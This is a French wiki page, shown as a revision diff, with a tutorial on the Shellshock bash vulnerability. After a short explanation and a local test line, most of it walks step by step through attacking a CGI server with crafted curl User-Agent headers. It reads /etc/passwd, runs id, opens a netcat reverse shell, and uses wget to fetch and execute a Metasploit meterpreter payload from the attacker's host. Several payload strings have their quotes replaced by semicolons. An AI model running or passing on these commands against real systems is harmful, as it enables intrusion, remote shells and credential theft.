Outils pour utilisateurs

Outils du site


appsysteme:bash_-_shellshock

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Prochaine révision
Révision précédente
appsysteme:bash_-_shellshock [2016/01/30 21:13]
arkinar créée
appsysteme:bash_-_shellshock [2016/07/04 08:38] (Version actuelle)
Ligne 1: Ligne 1:
 **ShellShock** **ShellShock**
 +
 +{{ :​appsysteme:​shellshock1.jpg?​nolink |}}
 +
 +Qui n'a pas entendu parler de la faille shellshock ?
 +
 +**Présentation :**
 +
 +Shellshock, est une vulnérabilité logicielle présente dans le shell Unix bash.
 +
 +La vulnérabilité touche l’interpréteur en ligne de commande Bash qui est utilisé comme Shell par défaut par les systèmes d’exploitation Linux et Unix. Soit un gros paquet de monde.
 +
 +Elle est aussi appelée Bashdoor et a été découverte en septembre 2014.
 +
 +__Explication__
 +
 +Bash permet de faire passer des fonctions vers le processus enfant. Les droits et contextes d'​exécution sont identiques à l'​utilisateur,​ système ou non.
 +
 +Le problème réside dans le fait que :
 +
 +De nombreux programmes utilisent le Shell par défaut pour passer des variables d'​environnement entre leurs processus. Le contexte change  : ce n'est plus un utilisateur local et de confiance qui utilise cela, mais une multitude de programmes, parfois distants.
 +
 +Ces programmes ne valident pas eux mêmes les données qu'ils donnent à Bash, et ne font souvent que passe-plat. Dans ce contexte, ce qui était auparavant une fonctionnalité se transforme alors en faille.
 +
 +Voici un petite ligne de code pour voir si vous êtes vulnérable :
 +
 +<​code>​env x='() { :;}; echo vulnérable'​ bash -c "echo ceci est un test"</​code>​
 +
 +Si elle vous renvoi : "​Vulnérable"​
 +
 +C'est que vous l'​êtes.
 +
 +source : [[http://​linuxfr.org/​news/​une-faille-nommee-shellshock]]
 +
 +**Exploitation**
 +
 +Le principe est d'​envoyer des commandes à distance dans les entêtes HTTP pour qu'​elle soit interprétées par le serveur.
 +
 +Commençons simplement :
 +
 +<​code>​curl -H User-Agent: () { :; }; /bin/eject; http://​mon_serveur_faillible.com </​code>​
 +
 +curl est une commande Linux permettant de forger des requêtes HTTP. 
 +
 +L'​option -H permet de personnaliser l'​entête HTTP avant qu'​elle soit envoyées au serveur.
 +
 +() { :; }; est le morceau de la commande qui permet de faire passer notre commande à la variable d'​environnement /bin/eject permet d'​ouvrir le lecteur cd du serveur vulnérable (je sais que c'est pas un exploit extraordinaire mais c'est un bon début.
 +
 +Nous avons donc une variable comme cela sur le serveur : HTTP_USER_AGENT=() { :; }; /bin/eject
 +
 +<​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/ cat /​etc/​passwd; ​
 +http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
 +
 +Cette commande quant à elle aura pour effet d'​afficher le contenu de /etc/passwd de la machine distante. ​
 +
 +L'​option -A nous permet d’accéder au contenu de l'​user-agent qui sera visible dans la requête HTTP.
 +
 +<​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo; /usr/bin/id ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
 +
 +Cette commande nous donne l'​identifiant du compte sur lequel on exécute les commandes.
 +
 +Pour prendre la main complète sur le serveur 2 options s'​offrent à nous :
 +
 +__La première avec Netcat__
 +
 +Netcat est un utilitaire permettant d'​ouvrir des connexions réseau, que ce soit UDP ou TCP.Dans un terminal tapez :
 +
 + <​code>​nc -l 333 </​code>​
 +
 +L'​option -l permet d'​écouter sur le port 333 (c'est bien un L, comme listen et non I majuscule)
 +
 +Dans un autre terminal :
 +
 +<​code>​curl -A ;() { :;}; /bin/nc -e /bin/sh http://​mon_serveur/​ 333; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
 +
 +Ouvre un session Netcat sur le port 333 et ouvre un shell une fois la session démarrée grâce à l'​option -e
 +
 +Vous avez désormais la main sur la machine avec les droits de l'​utilisateur qui gère le web.
 +
 +Source : [[https://​www.youtube.com/​watch?​v=8H_bYZaXLko]]
 +
 +__La seconde solution avec Metasploit__
 +
 +Pour cette solution nous aurons besoin du framework Metasploit et de Apache.
 +
 +Metasploit est framework permettant de simplifier les tests de pénétration suite aux vulnérabilités découverte. Il y a de très bon livre dessus pour ceux que ça intéresse.
 +
 +On va d'​abord commencer par trouver un endroit où l'on peut écrire sur le serveur.
 +
 +<​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/ ls -al /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
 +
 +Généralement dans le dossier personnel de l'​utilisateur avec lequel on exécute les commandes.
 +
 +Maintenant nous allons utiliser msfpayload qui est un des outils de la suite Metasploit.
 +
 +Il permet de générer des payloads (exécutable qui va nous permettre dans notre cas d'​établir la connexion inverse).
 +
 +Pour le générer :
 +
 +<​code>​msfpayload linux/​x86/​meterpreter/​reverse_tcp LHOST=192.168.1.1 LPORT=4443</​code> ​
 +
 +Nous lui spécifions que nous voulons une connexion inverse en TCP sur un serveur Linux 32 Bits.
 +
 +LHOST : LOCAL HOST : est votre adresse ip
 +
 +LPORT : LOCAL PORT :  est le port sur lequel votre machine va écouter.
 +
 +Toutes ces informations nous les envoyons dans un fichier nommé lbdoor.
 +
 +Démarrer votre service apache :
 +
 +<​code>/​etc/​init.d/​apache2 start</​code>​
 +
 +Copier le fichier lbdoor dans /var/www/
 +
 +Nous allons le télécharger sur le serveur vulnérable :
 +
 +<​code>​curl -A;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/ wget http://​mon_serveur/​lbdoor -P /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status </​code>​
 +
 +On lui ajoute les droits d’exécutions :
 +
 +<​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/​plain;;​ echo;  /bin/chmod +x /​home/​notre_user/​lbdoor ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
 +
 +{{ :​appsysteme:​metasploit_shellshock.png?​nolink |}}
 +
 +On ouvre Metasploit :
 +
 +<​code>​msfconsole</​code>​
 +
 +On sélectionne le module qui nous permettra d’écouter les connexions entrantes :
 +
 +<​code>​use exploit/​multi/​handler</​code>​
 +
 +On lui stipule quel type de connexion il doit attendre :
 +
 +<​code>​set PAYLOAD linux/​x86/​meterpreter/​reverse_tcp</​code>​
 +
 +On lui stipule sur quel host il attend la connexion :
 +
 +<​code>​set LHOST 192.168.1.1</​code>​
 +
 +On lui stipule sur quel port il doit attendre la connexion :
 +
 +<​code>​set LPORT 4443</​code>​
 +
 +Et on exécute :
 +
 +<​code>​run</​code>​
 +
 +Attention il faut bien donner les mêmes informations que lorsque le payload a été généré.
 +
 +A cette étape vous devriez avoir cela :
 +
 +{{ :​appsysteme:​connexion_metasploit-3.png?​nolink |}}
 +
 +
 +Retournons sur notre premier terminal , nous allons exécuter notre payload sur le serveur vulnérable:​
 +
 +<​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/bash -c ;/​home/​notre_user/​lbdoor;​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
 +
 +Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout s'est bien passé.
 +
 +{{ :​appsysteme:​connexion_metasploit-2.png?​nolink |}}
 +
 +
 +Vous avez désormais accès à une session meterpreter sur la machine distante.
 +
 +Si vous souhaitez obtenir un terminal , il suffit de taper "​shell"​
 +
 +{{ :​appsysteme:​meterpreter.jpg?​nolink |}}
 +
 +L'​outil meterpreter est puissant et embarque toute une multitude de code pour le post exploitation.
 +
 +Pour plus d'info un site que je recommande [[http://​sitedugaci.com/​30/​4/​tutoriel/​chapitre/​meterpreter.html]]
 +
 +Source :[[ https://​www.youtube.com/​watch?​v=R3rs8hdXqso]]
appsysteme/bash_-_shellshock.1454188410.txt.gz · Dernière modification: 2016/07/04 08:37 (modification externe)